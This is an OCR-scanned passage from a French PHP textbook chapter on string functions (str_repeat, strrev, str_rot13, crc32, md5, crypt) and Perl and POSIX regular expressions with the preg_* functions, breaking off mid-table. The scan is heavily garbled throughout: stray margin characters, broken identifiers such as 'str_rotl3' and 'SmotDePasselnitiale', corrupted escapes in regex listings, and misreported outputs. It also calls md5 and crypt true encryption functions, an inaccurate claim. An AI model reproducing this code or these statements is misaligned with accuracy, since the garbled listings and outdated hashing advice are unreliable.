echo strtok("n") ."<br />\n"; 
?> 

Et voici le resultat : 



5£ w 








El ement 


1 


= 22 
o o 


El ement 


2 


mipulati 
de cara 


Element 
El ement 
1 


3 


E CD 


El ement 




7. La 
chain 


2 

Element 
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Element 
Element 

2 | El erne 


1 
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Autres... 

str_repeat() 

Permet de repeter une chaine. 

Syntaxe string str_repeat (string $chaine, int $nb) 

$ c h a i n e Chaine de caracteres a repeter. 

$nb Nombre de fois ou la chaine doit etre repetee. 

retour La chaine de caracteres repetee. 

Voici un code d'exemple : 

Listing 7.27 : strrepeat.php 

<?php 

echo str_repeat(":-",20); 

echo str_repeat(":-) ",10); 
?> 

Et le resultat correspondant : 

':-') ':-') ':-') ':-') ':-') ':-') ':-) ':-)':-)':-) 



strrev() 

Retourne une chaine de caracteres dans laquelle l'ordre des caracteres a ete inverse. 

Syntaxe string strrev (string $chaine) 

$chaine Chaine a retourner. 

retour Chaine inversee. 



CT -J 



CD = 

en — » 
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Voici un exemple : «« S 

<?php 

$chaine="Et se resservir ivresse reste"; 

echo $chaine."<br />\n"; 

echo strrev($chaine) ."<br />\n"; 

function estUnPal indrome($chaine) { 

return ($chaine==strrev($chaine)) ? "$chaine est un palindrome" : 
"$chaine n'est pas un palindrome"; 
} 
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echo estUnPal indrome("ici ") ."<br />\n"; 
echo estUnPal indrome("chocolat") . "<br />\n"; 
echo estUnPal indrome(" radar") ."<br />\n"; 
echo estUnPal indrome(" rotor") . "<br />\n"; 
echo estUnPal indrome("voiture") ."<br />\n"; 



dont voici le resultat : 

Et se resservir ivresse reste 
etser esservi rivresser es tE 
ici est un palindrome 
chocolat n'est pas un palindrome 
radar est un palindrome 
rotor est un palindrome 
voiture n'est pas un palindrome 



str_rotl3() 



CD qj 



Effectue une permutation circulaire sur les lettres de l'alphabet, chacune des lettres etant 
decalee de treize places ; ainsi 'a' deviendra 'n'. 

Syntaxe string str_rotl3 (string $chaine) 

$ c h a i n e Chaine de caracteres a transformer, 

retour Chaine de caracteres transformee. 

Voici un script d'exemple : 
Listing 7.28 : str_rot13.php 



,QJ 



<?php 

echo s tr_rot 13 ("abcdefghi jklmnopqrstuvwxyz") ."\n"; 
H | echo str_rotl3("ABCDEFGHIJKLMN0PQRSTUVWXYZ")."\n"; 

echo str_rotl3(str_rotl3("abcdefghi jklmnopqrstuvwxyz")) ."\n" 
?> 



_ o 

.3- o> 

c= -a 

E CD 

«° «I 
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dont le resultat est : 

nopqr st u vwxyzabcdef gh i j kl m 
NOPQRSTUVWXYZABCDEFGHIJKLM 
abcdef gh i j kl mnopqr stu vwxyz 



#y Cryptage 

^^^ Meme si cela pourrait ressembler a une fonction de cryptage, iln'en est rien vu que 
ATTENTION cette fonction est tres facilement reversible (il suffit de I'appliquer a elle-meme). 
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Somme de controle et cryptage 

crc32() 

Calcul d'une somme de controle sur 32 bits de la chaine de caracteres. Ce calcul est 
particulierement utile pour verifier qu'une chaine de caracteres n'a pas ete alteree (suite a une 
deficience logicielle ou materielle, ou encore a un acte de malveillance). 

Syntaxe int crc32 (string $chaine) 

$ c h a i n e Chaine dont vous souhaitez la "checksum" . 

retour Checksum sur 32 bits. 

Voici un exemple : 

Listing 7.29 : crc32.php 

<?php 

echo crc32("Chaine de caracteres"); 

echo "<br />\n"; 

echo crc32("Chaine") ; 

echo "<br />\n"; 

echo crc32("Test") ; 
?> 

dont le resultat serait : 

169821353 

-1820961062 

2018365746 



md50 



Retourne une version cryptee d'une chaine de caracteres basee sur le calcul du md5 (chaine ™ "g" 

hexadecimale de 32 caracteres). 2J 5T 

as s: 
o o 

Syntaxe string md5 (string $chaine) co- = 

$ c h a i n e Chaine de caracteres dont vous souhaitez calculer le md5 . «*> S? 

retour md5 de la chaine. 

Listing 7.30 : md5.php 

<?php 

echo md5("Calcul de md5"); 

echo "<br />\n"; 

echo md5("Un autre calcul de md5"); 
?> 
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dont le resultat est : 

15c620ee8e52f6143383138a079bf54b 
05c411550c749adc841fa0f2f9a2ccl3 



CO qj 
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crypt() 



£ £ ?> 

'CD 



Retourne une version cryptee d'une chaine de caracteres basee sur la fonction d'encryptage DES. 

Syntaxe string crypt(string $chaine [, string $sel]) 

$chai ne Chaine dont vous souhaitez le cryptage. 

$sel Chaine de deux caracteres permettant de calculer la cle (si aucune n'est 

fournie, PHP se charge d'en creer une aleatoirement). Pour comparer une 
chaine a une chaine cryptee, vous devrez utiliser comme valeurs les deux 
premiers caracteres de la chaine cryptee (ou la chaine cryptee entiere, 
sachant que seuls les deux premiers caracteres seront pris en compte). 

Retour Cle obtenue a partir de la chaine de caracteres et du 'seP. 

Listing 7.31 : crypt.php 

<?php 

SmotDePasselnitiale = "motDePasse"; 

$cle = crypt($motDePasseInitiale) ; 

echo $cle."<br />\n"; 

SmotDePassePropose = "motDePasse"; 

if (crypt($motDePassePropose, $cle) == $cle) 

echo "Le mot de passe est bon"; 
else 

echo "Le mot de passe est faux"; 



Le resultat est : 



~.g t.Gvi9zyHUxp2 

5 c/> Le mot de passe est bon 

E CD 



REMARQUE 



Cryptologie 

Les fonctions md5 ( ) et crypt ( ) sont de veritables fonctions de cryptage. De cefait, 
elles ne sont pas reversibles. La comparaison d'une chaine de caracteres avec une 
autre stockee sous sa forme cryptee doit toujours sefaire en cryptant la chaine fournie, 
et en comparant le resultat obtenu avec la version stockee (et non en decryptant la 
version stockee et en comparant le resultat avec la chaine fournie). Pour la fonction 
crypt ( ), qui necessite un parametre supplemental, vous devrez utiliser la version 
cryptee, comme cela est fait dans I'exemple precedent. 
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7.8. Expressions regulieres 



Une expression reguliere sert a faire l'analyse lexicale (parser) d'une chaine de caracteres. Elle 
va servir, par exemple, a reperer une valeur dans une chaine, ou encore a reperer des 
sous-chaines particulieres. Pour cela, il va falloir definir un motif que Ton appelle 'expression 
reguliere'. 

II existe deux normes pour definir une expression reguliere, Perl et POSIX. Entre Perl et 
POSIX, les differences sont minimes. Si vous connaissez les expressions regulieres du monde 
UNIX, alors vous connaissez deja la norme POSIX. 



Perl 

Generalities 
La plus simple 

La plus simple des expressions regulieres est une sous-chaine de caracteres composee de 
chiffres, de lettres et d'espaces. 

L'expression reguliere "morceau a rechercher" pourra servir a rechercher la sous-chaine 

"morceau a rechercher" dans une chaine. 

Les metacaracteres 

Lepoint 

Un caractere tres utile est le point ".". Dans une expression reguliere, il remplace n'importe 
quel caractere. 

Par exemple, "php. est la derniere version" est une expression reguliere pour "PHP3 est 
la derniere version" ou "PHP4 est la derniere version", mais ne fonctionnera pas pour "PHP 10 
est la derniere version", car 10 est sur deux caracteres. (Inversement "php . . est la derniere 
version" fonctionnera pour la version 10, mais pas pour les versions 3 et 4.) 

Utiliser le point tel quel peut poser probleme si 1'on veut rechercher le caractere point, et 
uniquement celui-ci. En effet, pour rechercher "3 . 14", il ne faudra pas ecrire "3 . 14", sans quoi 
les expressions "3F14", "3214", "3:14" seront reconnues par cette expression reguliere. Pour 
utiliser le caractere point, il faut le faire preceder du caractere d'echappement: "\". Pour 
rechercher "3 . 14" il faut done ecrire "3 \ . 14". 

Lepoint d' interrogation 

Le point d'interrogation permet d'indiquer la presence d'au plus une occurrence d'un 
caractere. Le point d'interrogation est a mettre apres le caractere en question. 

Voici quelques exemples : 

"chaines? de caracteres" reconnaitra "chaines de caracteres" et "chaine de 
caracteres". 

"points? et interrogations?" permettra de reconnaitre "points et interrogations" 
"points et interrogation", "point et interrogations" et "point et interrogation". 



=i m 
e-j o 
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Pour utiliser le caractere ? en tant que simple caractere (et non comme metacaractere), il faut 
le faire preceder de '\'. 

Lesigneplus 

Le signe plus (+) permet d'indiquer la presence d'une ou plusieurs occurrences d'un caractere. 
Le signe plus est a mettre apres le caractere en question. 

Voici quelques exemples : 

"whaoo+" reconnaitra "whaoo", "whaooo", "whaoooo" mais pas "whao". 

"coo+l" servira pour reconnaitre "cool", "coool", "cooooooool" ...mais pas "col". 

Pour utiliser le caractere + en tant que simple caractere (et non comme metacaractere), il faut 
le faire preceder de V. 

Le signe multiplier 

Le signe multiplier (*)permet d'indiquer la presence d'aucune, d'une ou de plusieurs 
occurrences d'un caractere. Le signe multiplier est a mettre apres le caractere en question. 

Voici quelques exemples: 

"whao*" reconnaitra "wha", "whao", "whaoo"... 

"cooo*l" servira pour reconnaitre "cool", "coool", "cooooooool"... 

Pour utiliser le caractere * en tant que simple caractere (et non comme metacaractere), il faut 
le faire preceder de V. 

Combinaison de metacaracteres 

Le point peutetre combine avec les signes ?, + ou *. Cela permettra d'indiquer, par exemple, la 
presence de n'importe quel caractere au moins une fois dans le cas du signe +. 

Voici quelques exemples : 

.g CD "C'est . *bien" servira pour "C'est tres bien", "C'est vraiment bien", "C'est rien 

c '£2 bien" et meme "C'est bien". 

o o 



Br CD 
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Exemples 



co M Voici une serie d'exemples. Les expressions regulieres peuvent vite devenir complexes a lire ; il 



suffit de proceder par etapes pour eviter les erreurs : 
Tableau 7.5 : Exemples d'expressions regulieres 



Expression Definition Exemples reconnus Exemples non reconnus 

a.z Caractere 'a' suivi d'un a z az 

seul caractere suivi de V abz abcz 

a_z a_-z 
azz 

a\.z Caractere 'a' suivi du a.z abz 

caractere '.' suivi de V 
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Expression 


Definition 


Exemples 


reconnus 


Exemples non reconnus 


a.+z 


Caractere 'a' suivi d'au 
moins un caractere suivi 
de V 


abz 

abcz 
azzz 




az 


a\.+z 


Caractere 'a' suivi d'au 
moins un caractere ' . ' 
suivi de V 


a.z 
a..z 
a...z 




az 



a\++ Caractere 'a' suivi d'au a+z 

moins un caractere '+' a+ +z 

suivi de 'z' a+ + +z 

ab?c+d*e Caractere 'a' suivi d'un abcde 

ou d'aucun caractere 'b' acde 

puis d'un caractere 'c' ou abccccccde 

plus, puis abce 

d'eventuellement 1 ou abccccce 

plusieurs 'd' puis d'un 'e' abcddddde 



az 



bcde 
abed 
abde 
abbede 



Pour affiner la recherche, il est possible de definir certains types de caracteres. 



Tableau 7.6 : 


Ensembles de caracteres 


Notation 


Definition 


\d 


Tout caractere numerique (0, 1, 2, 3, 4, 5, 6, 7, 8, 9). 



\d Tout caractere non numerique. 

\w Tout caractere alphanumerique et le signe souligne '_'. 

\w Tout caractere qui n'est pas alphanumerique ni le caractere souligne '_'. 

\s Tous les caracteres d'espacement (espace, tabulation, retour chariot) et tout autre 

caractere qui n'utiliserait pas d'encre sur une imprimante. 

\s Tous les caracteres qui ne sont pas des caracteres d'espacement. 

\b Tous les caracteres qui entourent un mot (caracteres d'espacement, debut et fin de 

ligne, ponctuation). 



\B 



\nnn 



L'ensemble des caracteres qui ne sont pas dans \b. 



Permet de definir un caractere par son code ASCII en base 8. 



Voici une nouvelle serie d'exemples illustrant ce que Ton peut definir avec ces ensembles de 
caracteres. 



=i m 
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Tableau 7.7 : Exemples 



Expression 



Definition 



Exemples reconnus 



Exemples non 
reconnus 



\w+@\w+\.com 



Une serie de caracteres 
alphanumeriques (ou '_') 
puis le signe '%' puis une 
autre serie de caracteres 
alphanumerique (ou '_') 
suivi de ' . com'. 



thomas@toutestfacile 
.com 



thomas@toutestfacile.fr 

thomas@toutestfacile 

toto.com 



\d\d\d\d\d\ 


Un nombre a cinq chiffres. 


01234 


0123 






34534 


abcde 


\b\d\w\D\w\ 


Le debut de ligne suivi d'un 


Oabd -2 


Oa1b1 -2 


d\s\W\d 


chiffre puis d'un caractere 
alphanumerique, puis d'un 
caractere qui n'est pas un 
chiffre, puis d'un caractere 
alphanumerique, puis d'un 
chiffre, d'un caractere 
d'espacement, d'un 
caractere non 

alphanumerique et enfin d'un 
chiffre. 


0_aa1 %2 


Oabd d2 



CD qj 

= -a 

o o 
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II est egalement possible de preciser les nombres minimum et maximum d'occurrences d'un 
caractere en utilisant une notation entre accolades, les deux valeurs etant separees par une 
virgule. 

ab{2 , 4}c signifie : un caractere 'a' suivi de deux a quatre caracteres 'b' puis du caractere 'c'. 

Pour permettre une alternative, il suffit d'utiliser le caractere ' | '. 

ab | ac signifie : soit la chaine 'ab', soit la chaine 'ac' et aucune autre. 

Enfin, pour permettre certains caracteres ou une certaine plage de caracteres, on peut utiliser 
des crochets. 

a[bcde] f permettra de reconnaitre 'abf', 'acf', 'adf' et 'aef' mais pas 'abcf' par exemple. 

Pour definir une certaine plage de caracteres, il suffit de placer un signe '-' entre les caracteres 
delimitant la plage. 

a [b-e] f est equivalent a l'exemple precedent. 

Pour ajouter le signe '-' a la liste des caracteres possibles, il suffit de le placer juste avant le 
crochet fermant. 

a [b-e-] f permettra de reconnaitre 'abf', 'acf', 'adf', 'aef' et 'a-f'. 

L'utilisation des crochets peut egalement permettre d'exclure certains caracteres en utilisant le 
caractere d'exclusion A , 

[~bc] oule permettra de reconnaitre 'foule', 'rouie' mais pas 'bouie' ni 'couie' . 

A l'interieur des crochets, les regies d'echappement ne s'appliquent pas de la meme maniere ; 
seuls les caracteres [ , ] et \ doivent etre precede du signe \ . 
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Tableau 7.8 : D'autres exemples 






Expression 


Definition 


Exemples reconnus 


Exemples non 
reconnus 


[02468] {3,5} 


Un nombre de trois a cinq 
caracteres compose de 
chiffres pairs. 


24804 

8602 

666 


135 

1222 

20 



[a-z]_[0-9] {3, 3} Une lettre minuscule a_111 

suivie du signe '_' puis g_753 
d'exactement trois 

chiffres. 



7_765 
4 a33 



[\[\]\\]+ 



Une composition de 
caracteres ' [', ']' et 'V 



\[]\][]\][ 

[\] 

\W]][[[ 



[a] 



[a-zA-Z0-9._- 
+@[a-zA-Z0-9] 



Un ou plusieurs 
caracteres 



\ . [a-zA-z] {2,3} alphanumeriques ou ' . ', 
'_', '-' suivi de '©', de un 
ou plusieurs caracteres 
alphanumeriques, d'un 
point puis de deux ou trois 
lettres. 



livrephp@toutestfacile.com @toutestfacile.com 
manuel@brazil.br toto@_.com 

thomas.heute@toutestfacile 
.com 



Debut etfin de ligne 

En dehors des crochets, le caractere ' A ' permet de definir le debut d'une chaine. Le caractere 
'$', lui, designe la fin d'une chaine. 

abc reconnaitra "abc", "dabc", "dabce". 

A abc reconnaitra "abc" et "abed". 

A abc$ reconnaitra "abc" (uniquement). 



Les options 

Les expressions regulieres Perl sont generalement ecrites entre deux slashes '/'. Les caracteres 
avant le premier slash et ceux apres le dernier permettent de specifier quelques options. 

Le caractere avant le premier slash est sans effet avec les fonctions PHP. 

Celui situe apres le dernier slash peut etre par exemple un : 

'i' afin de preciser que la recherche doit etre insensible a la casse. 

V afin que le metacaractere ' . ' concerne egalement les re tours a la ligne. 

D'autres valeurs encore. 
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Chapitre 7 La manipulation des chaines de caracteres 

Les fonctions PHP 

Filtrage par expression reguliere 

preg_grep() 

Retourne un tableau ne contenant que les elements verifiant une expression reguliere. 

Syntaxe array preg_grep (string expReg, array $chaines) 

$expReg L' expression reguliere filtrante. 

$chai nes Chaines de caracteres a verifier. 

retour Tableau sans les valeurs ne verifiant pas l'expression reguliere. 

Listing 7.32 : preggrep.php 

<?php 

$chaines = array ( 
"toto@blabla.fr", 
"toto$blabla.fr", 
"toto$blabla.com", 
"toto_titi@blabla.com", 

); 

print_r(preg_grep("/[a-zA-Z0-9._-]+@[a-zA-Z0-9]+\.[a-zA-Z]{2,3}/", 
$chaines)) ; 
?> 

dont le resultat est : 

Array 
( 



S £ [0] => toto@blabla.fr 



[3] => toto_titi@blabla.com 

) 



.2- CD 

£ t> Substitution par expression reguliere 



preg_replace() 



Recherche une portion de chaine de caracteres correspondant a une expression reguliere et la 
remplace. 
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Syntaxe mixed preg_repl ace (mixed $motif, mixed $remplacement, mixed 

$chaine[, int $1 imi te] ) 

$moti f L' expression reguliere a rechercher. Peut etre un tableau ; dans ce cas, si 

$remplacement est un tableau, alors les motifs seront remplaces par 
l'element de meme index de $remplacement. 

$rempl a cement Chaine de substitution ; si celui-ci est une chaine de caracteres, alors tous 

les motifs trouves seront remplaces par cette chaine. 

$chai ne Chaine de caracteres ou effectuer les modifications. Si $chaine est un 

tableau, alors la recherche s'effectue sur tous les elements du tableau. 

$1 imi te Si cet argument est specifie, alors au plus $limite occurrences seront 

remplacees. 

retour $ chaine modifiee (sera un tableau si $chaine enestun). 

Voici un code source d'exemple : 

Listing 7.33 : pregreplace.php 

<?php 

echo preg_replace("/\d+/", "...des chiffres. . .", 

"En 2000, 1123442 serveurs ..."). "<br />\n"; 
$chaines=array("En 2000, 1123442 serveurs ...", 

"12 elephants sur un arbre"); 
print_r($chaines) . "<br />\n" ; 

print_r(preg_replace("/\d+/", "...des chiffres...", $chaines)); 
$motifs = array("/([a-zA-Z0-9._-]+)@([a-zA-Z0-9]+)\.com/", 
7([a-zA-Z0-9._-]+)@([a-zA-Z0-9]+)\.fr/"); 
$remplacement = array("Une adresse en .com", "Une adresse en .fr"); 
$chaine = "test@toutestfacile.com et test@toutestfacile.fr"; 
echo $chaine."<br />\n"; 
print r(preg replace($motifs, $remplacement, $chaine)); 



dont le resultat est : 

n ...des chiffres..., ...des chiffres... serveurs ...<br /> 
Array 

[0] => En 2000, 1123442 serveurs ... 



as =r. 

CJ o 



[1] => 12 elephants sur un arbre co Jd 

" CO 

Array 

[0] => En ...des chiffres..., ...des chiffres... serveurs ... 
[1] => ...des chiffres... elephants sur un arbre 

est@toutestfacile.com et test@toutestfacile.fr<br /> 
Une adresse en .com et Une adresse en .fr 
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Pour reutiliser un motif capture en remplacement, il suffit d'y faire appel avec la syntaxe \ \n, 
ou n est la position du motif capture. Par exemple : 

Listing 7.34 : preg_replace2.php 

<?php 

echo preg_replace("/(\d+)/", "'Wl'", "En 2000, 1123442 serveurs ..."). 
"<br />\n"; 
?> 

dont le resultat est : 

En '2000', '1123442' serveurs ... 



preg_replace() vs. str_replace() 

Bien qu'il soit possible d'utiliser preg_replace () a la place de str_replace ( ), il 
est tout de meme preferable, pour des raisons de rapidite, d'utiliser 
str_replace ( )lorsque le motif recherche s'avere etre une chaine ne faisant 
intervenir aucun joker. Bien entendu, la difference ne se fera ressentir que si cette 
fonction est appelee de nombreuses fois. 



REMARQUE 



preg_replace_callback() 



V> go 


Syntaxe 


CD qj 




"a j— 




= B 
o o 
^ cc 


$motif 


£ c5 




s o 




.3- CD 




c -a 




c " 


$fonction 


E CD 




__1 CO 


$chaine 



Cette fonction est semblable a la precedente, si ce n'est qu'elle permet d'appeler une fonction 
avec, en parametre, les motifs captures. 

mixed preg_replace_cal 1 back (mixed $motif, mixed $fonction, 
mixed $subject [, int $1 imi te] ) 

L' expression reguliere a rechercher. Peut etre un tableau ; dans ce cas, si 
$remplacement est un tableau, alors les motifs seront remplaces par 
l'element de meme index de $remplacement. 

Fonction a appeler qui fera la transformation a partir des motifs captures. 

Chaine de caracteres ou effectuer les modifications. Si $ chaine est un 
tableau, alors la recherche s'effectue sur tous les elements du tableau. 

$1 imite Si cet argument est specifie, alors au plus $limite occurrences seront 

remplacees. 

retour $chaine modifiee (sera un tableau si $chaine en est un). 
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Decoupe par expression reguliere 



preg_split() 



Permet de casser une chaine en sous-elements en precisant le delimiteur par une expression 
reguliere. 

Syntaxe array preg_spl it (string $motif, string $chaine [, int $1 imi te 

[, int $mode]]) 

$moti f L' expression reguliere qui servira de delimiteur. 

$ c h a i n e Chaine de caracteres a casser. 

$1 i mi te Nombre limite de sous-chaines. 

$mode Options pouvant etre cumulees par OU logique ( | ). 

PREG_SPLIT_NO_EMPTY: seules les chaines non vides seront 

retournees. 

PREG_SPLIT_DELIM_CAPTURE : les expressions entre parentheses 

entre les delimiteurs de motifs seront aussi capturees. 

retour Le tableau indexe des sous-chaines. 

Voici un exemple : 

Listing 7.35 : pregsplit.php 

<?php 

print_r(preg_split("/[: ;-]/", "element l:element 2-element 3;element 4")); 
?> 

dont le resultat est : 



CT -J 



Array 

( 

[0] => element 1 

[1] => element 2 

[2] => element 3 2J S> 

[3] => element 4 
) 



CD = 

in —* 



o o 



CO CO 



Extraction par expression reguliere 

preg_match() 

Recherche un motif dans une chaine de caracteres. 
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Syntaxe int pregjnatch (string $motif, string $chaine [, array 

&$resultat [, int $option]) 

$moti f Le motif a retrouver. 

$ c h a i n e Chaine de caracteres dans laquelle rechercher le motif. 

$resultat Variable dans laquelle sera copie un tableau indexe dont l'element 

d'indice est le motif en entier, l'element 1 le premier element capture 
(entre parentheses), l'element 2 le deuxieme, etc. 

$option Seul preg_offset_capture est disponible. Cette option n'est 

disponible que depuis PHP 4.3.0 

retour Le nombre d'elements captures, ou FALSE si une erreur s'est produite. 

Listing 7.36 : preg_match() 

<?php 

echo preg_match("/([a-zA-Z0-9._-]+)@([a-zA-Z0-9]+)\.([a-zA-Z]{2,3})/", 
"Voici mon adresse: biblephp@exemple.com, el 1 e est bidon",$elements) ; 
print_r($elements) ; 

?> 

dont le resultat est : 

1 
Array 

( 

[0] => biblephp@exemple.com 

[1] => biblephp 

[2] => exemple 

[3] => com 
) 



preg_match_all() 



Recherche un motif dans une chaine de caracteres, et reitere la recherche sur tout le reste de la 



.2- CD 

s= -a 

g g chaine de caracteres. 

_l CO 



Syntaxe int preg_match_all (string $motif, string $chaine, array 

&$resultat [, int $option]) 

$moti f Le motif a rechercher. 

$chai ne La chaine de caracteres a rechercher. 

$resul tat Le tableau ou stocker les resultats. 

$opt i on Permet entre autres de definir l'ordre dans lequel ranger les resultats. Cela 

peut etre defini par les constantes : 

PREG_PATTERN_ORDER : $resultat[0] sera un tableau indexe 
contenant les motifs en entier, $resultat [1] sera un tableau contenant 
les premiers motifs entre parentheses. 
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PREG_SET_ORDER : $resulat[0] sera un tableau des motifs entre 
parentheses de la premiere sous-chaine reconnue. 
PREG_OFFSET_CAPTURE est egalement disponible depuis PHP 4.3.0, 
elle peut etre combinee a l'une des deux precedentes. 

retour Retourne le nombre de motifs retrouves, ou FALSE si une erreur s'est 

produite. 

Listing 7.37 : preg_match_all.php 

<?php 

echo preg_match_al 1 ("/<(\ w *)>([ /v <]*)<\/\ w *>/". 

"<b>Gras</bxi>Ital ique</ixu>Soul igne</u>" , 

$resultat) ."\n"; 
print_r($resultat) ; 
echo preg_match_al 1 ("/<(\ w *)>([~<]*)<\A w * > /"> 

"<t»Gras</t»<i>Ital ique</ixu>Soul igne</u>" , 

$resultat, PREG_PATTERN_ORDER )."\n"; 
print_r($resultat) ; 
echo preg_match_al 1 ("/<(\ w *)>([~<]*)<\A w * > /"> 

"<b>Gras</bxi>Ital ique</ixu>Souligne</u>", 

$resultat, PREG_SET_ORDER )."\n"; 
print_r($resultat) ; 
?> 

Le resultat de ce script est : 



3 








Array 








( 








to] 


=> 
( 


Array 








[0] => 


<t»Gras</b> 






[1] => 


<i>Italique</i> 






[2] => 


<u>Souligne</u> 




) 






[1] 


=> 
( 


Array 








[0] => 


b 






[1] => 


i 






[2] => 


u 




) 






[2] 


=> 
( 


Array 








[0] => 


Gras 






[1] => 


I tali que 






[2] => 


Souligne 




) 







=i m 
as =r. 
e-j o 



2 ™ 

CO CO 
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CD qj 

<= ffl 

o o 

■^ ca 

SS c5 

s o 

.=■ CD 

£= -D 

™ M 

E CD 

_l CO 



3 








Array 








( 








[0] 


=> 
( 


Array 








[0] => 


<t»Gras</b> 






[1] => 


<i>Italique</i> 






[2] => 


<u>Souligne</u> 




) 






[1] 


=> 
( 


Array 








[0] => 


b 






[1] => 


i 






[2] => 


u 




) 






[2] 


=> 
( 


Array 








[0] => 


Gras 






[1] => 


Italique 






[2] => 


Souligne 




) 






) 








3 








Array 








( 








[0] 


=> 
( 


Array 








[0] => 


<b>Gras</b> 






[1] => 


b 






[2] => 


Gras 




) 






[1] 


=> 
( 


Array 








[0] => 


<i>Italique</i> 






[1] => 


i 






[2] => 


Italique 




) 






[2] 


=> 
( 


Array 








[0] => 


<u>Souligne</u> 






[1] => 


u 






[2] => 


Souligne 




) 
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Divers 



preg_quote() 



Permet d'echapper les caracteres speciaux (. ,\\, +, * ,?, [, A , ], $, (,),{,},=, !,<,>, |, :) des 
expressions regulieres. 

Syntaxe string preg_quote (string $chaine [, string $del imiteur] ) 

$chaine Chaine de caracteres dont vous souhaitez echapper les caracteres 

speciaux. 

$del imi teur Caractere qui sera egalement echappe. 

retour Une chaine de caracteres dont les caracteres ne sont pas des caracteres 

speciaux. 

Voici un court exemple montrant l'importance d'echapper les caracteres speciaux : 

Listing 7.38 : pregquote.php 

<?php 

$chaine="2*3+4"; 

// retournera car 1 'expression reguliere filtre les expressions 

// dont la definition est : 

// "0 ou plus 2 suivi de au moins un 3 et d'un 4" 

echo preg_match ( "/$chai ne/" , "2*3+4" ) . "\n" ; 

echo preg_quote($chaine) ."\n"; 

// Ici les caracteres + et = seront echappes. 

echo preg_match("/".preg_quote($chaine) . "/"," 2*3+4") ; 



dont le resultat est : 



2\*3\+4 



CT -J 



CD = 

in —* 



ni 



Q5 — . 

- 1 o o 



Posix 



CO CO 



Les expressions regulieres de POSIX sont tres semblables a celles en Perl ; elles sont utilisees 
sous UNIX pour creer des scripts. 
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Generalites 
La plus simple 

La plus simple des expressions regulieres est une sous-chaine de caracteres composee de 
chiffres, de lettres et d'espaces. 

L'expression reguliere "morceau a rechercher" pourra servir a rechercher la sous-chaine 

"morceau a rechercher" dans une chaine. 

Les metacaracteres 

Lepoint 

Un caractere tres utile est le point ".". Dans une expression reguliere, il remplace n'importe 
quel caractere. 

Par exemple "php. est la derniere version" est une expression reguliere pour "PHP3 est 
la derniere version" ou "PHP4 est la derniere version", mais ne fonctionnera pas pour "PHP 10 
est la derniere version", car 10 est sur deux caracteres. (Inversement "php . . est la derniere 
version" fonctionnera pour la version 10, mais pas pour les versions 3 ou 4). 

Utiliser le point tel quel peut poser probleme si Ton veut rechercher le caractere point, et 
uniquement celui-ci. En effet, pour rechercher "3 . 14", il ne faudra pas ecrire "3 . 14", sans quoi 
les expressions "3F14", "3214", "3 : 14" seront reconnues par cette expression reguliere. 

Pour utiliser le caractere point en tant que simple caractere (et non comme metacaractere), il 
faut le preceder du caracteres d'echappement : "\". Pour rechercher "3 . 14" il faut done ecrire 

"3\.14". 

Lepoint d' interrogation 

Le point d'interrogation permet d'indiquer la presence d'au plus une occurrence d'un 
w caractere. Le point d'interrogation est a mettre apres le caractere en question. 

CD q} 

= 'S Voici quelques exemples : 

o o 

"chaines? de caracteres" reconnaitra "chaines de caracteres" et "chaine de 



.2- o> 

s= -a 

E CD 

_l CO 



caracteres . 

"points? et interrogations?" permettra de reconnaitre "points et interrogations" 
"points et interrogation", "point et interrogations" et "point et interrogation". 

Pour utiliser le caractere ? en tant que simple caractere (et non comme metacaractere), il faut 
le faire preceder de V. 

Lesigne "plus" 

Le signe "plus" (+) permet d'indiquer la presence d'une ou plusieurs occurrences d'un 
caractere. Le signe plus est a mettre apres le caractere en question. 

Voici quelques exemples : 

"whaoo+" reconnaitra "whaoo", "whaooo", "whaoooo" mais pas "whao". 

"coo+l" servira pour reconnaitre "cool", "coool", "cooooooool" ...mais pas "col". 
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Pour utiliser le caractere + en tant que simple caractere (et non comme metacaractere), il faut 
le faire preceder de V. 

Le signe multiplier 

Le signe multiplier (*)permet d'indiquer la presence d'aucune ou de plusieurs occurrences d'un 
caractere. Le signe multiplier est a mettre apres le caractere en question. 

Voici quelques exemples: 

"whao*" reconnaitra "wha", "whao", "whaoo"... 

"cooo*l" servira pour reconnaitre "cool", "coool", "cooooooool"... 

Pour utiliser le caractere * en tant que simple caractere (et non comme metacaractere), il faut 
le faire preceder de V. 

Combinaison de metacaracteres 

Le point peut etre combine avec les signes ?, + ou *. Cela permettra d'indiquer, par exemple, la 
presence de n'importe quel caractere au moins une fois dans le cas du signe +. 

Voici quelques exemples : 

"C'est . *bien" servira pour "C'est tres bien", "C'est vraiment bien", "C'est rien 
bien" et meme "C'est bien". 

Des exemples 

Voici une serie d'exemples. Les expressions regulieres peuvent vite devenir complexes a lire ; il 
suffit de proceder par etapes pour eviter les erreurs : 

Tableau 7.9 : Exemples 

Expression Definition Exemples reconnus Exemples non reconnus 

a.z Caractere 'a' suivi d'un a z az 

seul caractere suivi de V abz abcz 

a_z a_-z 
azz 

a\.z Caractere 'a' suivi du a.z abz 



CT -J 



CD = 

en — » 



caractere '.' suivi de V f| 2J. 

o o 

a.+z Caractere 'a' suivi d'au abz az S"- = 

moins un caractere suivi abcz 2> §■ 

.11 «° CO 

de z azzz 

a\.+z Caractere 'a' suivi d'au a.z az 

moins un caractere ' . ' a..z 

suivi de 'z' a...z 

a\++ Caractere 'a' suivi d'au a+z az 

moins un caractere '+' a+ +z 

suivi de 'z' a+ + +z 
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Expression 



Definition 



Exemples reconnus 



Exemples non reconnus 



ab?c+d*e 



Caractere 'a' suivi d'un 


abcde 


bcde 


ou d'aucun caractere 'b' 


acde 


abed 


puis d'un caractere 'c' ou 


abccccccde 


abde 


plus, puis 


abce 


abbede 


d'eventuellement 1 ou 


abccccce 




plusieurs 'd' puis d'un 'e' 


abcddddde 





Pour affiner la recherche, it est possible de definir certains types de caracteres, avec la notation 
suivante : 



Tableau 7.10 : Ensembles de caracteres 



03 qj 

"a i— 

= '£ 
o o 



.5- a> 

c -a 

E 03 

_i ro 



Notation 


Definition 


[ : digit : ] 


Tout caractere numerique (0, 1, 2, 3, 4, 5, 6, 7, 8, 9). 


[ : "digit: ] 


Tout caractere non numerique. 


[ : alpha: ] 


Tout caractere alphabetique. 


[ : "alpha : ] 


Tout caractere non alphabetique. 


[ : alnum: ] 


Tout caractere alphanumerique. 


[ : "alnum: ] 


Tout caractere non alphanumerique. 


[ : ascii : ] 


Tout caractere alphanumerique. 


[ : "ascii : ] 


Tout caractere non alphanumerique. 


[ : lower: ] 


Tout caractere alphabetique en minuscule. 


[ : upper : ] 


Tout caractere alphabetique en majuscule. 


[ : print : ] 


Tout caractere imprimable. 


[ : word: ] 


Tout caractere alphanumerique en minuscule et le signe souligne _. 


[ : "word] 


